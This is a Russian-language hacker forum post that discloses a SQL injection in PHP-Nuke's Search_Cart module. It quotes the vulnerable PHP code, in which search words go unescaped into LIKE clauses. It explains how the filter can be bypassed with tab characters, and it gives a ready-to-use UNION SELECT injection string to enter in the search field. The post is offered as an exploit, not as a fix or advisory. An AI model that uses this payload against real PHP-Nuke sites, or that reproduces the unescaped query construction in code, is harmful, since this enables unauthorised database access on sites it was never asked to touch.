Показать сообщение отдельно
Старый 26.12.2010, 12:32   #16
AFoST
 
Аватар для AFoST
 
Регистрация: 01.08.2010
Сообщений: 79
Репутация: 43
По умолчанию

sql-injection. Модуль Search_Cart. Выкладывал в моа или роа в свое время.
уязвима переменная $_POST['query']

search_results(): Z:\home\phpnuke\www\modules\Search_Cart\index.php
PHP код:
<?
function search() {
...
    (isset(
$_POST['query']) ? $query=filter(rawurldecode($_POST['query']),"nohtml") : $query=filter(rawurldecode($_GET['query']),"nohtml"));
    
$query=trim($query);
    
$query=strtr($query,"*%_?","%  _"); // фильтрация!!!!! 
... 
    
search_form($query$pname$stype); // выводит лишь хтмл-форму
...
    
search_results($query);
...
}

function 
search_results($query) {
...
        
$query urldecode($query);
        
$query_words explode(" "$query);
        
$the_query htmlentities($query);
        for(
$i 0$i count($query_words); $i++){
                
$catquerylist .= "title LIKE '%$query_words[$i]%' OR cdescription LIKE '%$query_words[$i]%' OR ldescription LIKE '%$query_words[$i]%' OR keywords LIKE '%$query_words[$i]%'";
                
$prodquerylist .= "prodCode LIKE '%$query_words[$i]%' OR prodName LIKE '%$query_words[$i]%' OR prodSInfo LIKE '%$query_words[$i]%' OR prodInfo LIKE '%$query_words[$i]%' OR prodXInfo LIKE '%$query_words[$i]%' OR prodModel LIKE '%$query_words[$i]%' OR keywords LIKE '%$query_words[$i]%'";
                if(
$i count($query_words)-1){
                        
$catquerylist .= " AND ";
                        
$prodquerylist .= " AND ";
                }
        }
...
    if(
$query != ''){
...
                
$catResult $db->sql_query("select category_id from ".$prefix."_cart_categories where $catquerylist ORDER BY title, parentid");
                
$catTotal $db->sql_numrows($catResult);
...
?>
фильтруется все разделители, помимо табуляции. так же фильтруется подчёркивание, что плохо сказывается на обращениb к таблице information_schema.tables

exloit:
Код HTML:
http://phpnuke/modules.php?name=Search_Cart
в поиске:
Код HTML:
'%09and%091=0%09union%09select%091,2%09--%20-
AFoST вне форума   Ответить с цитированием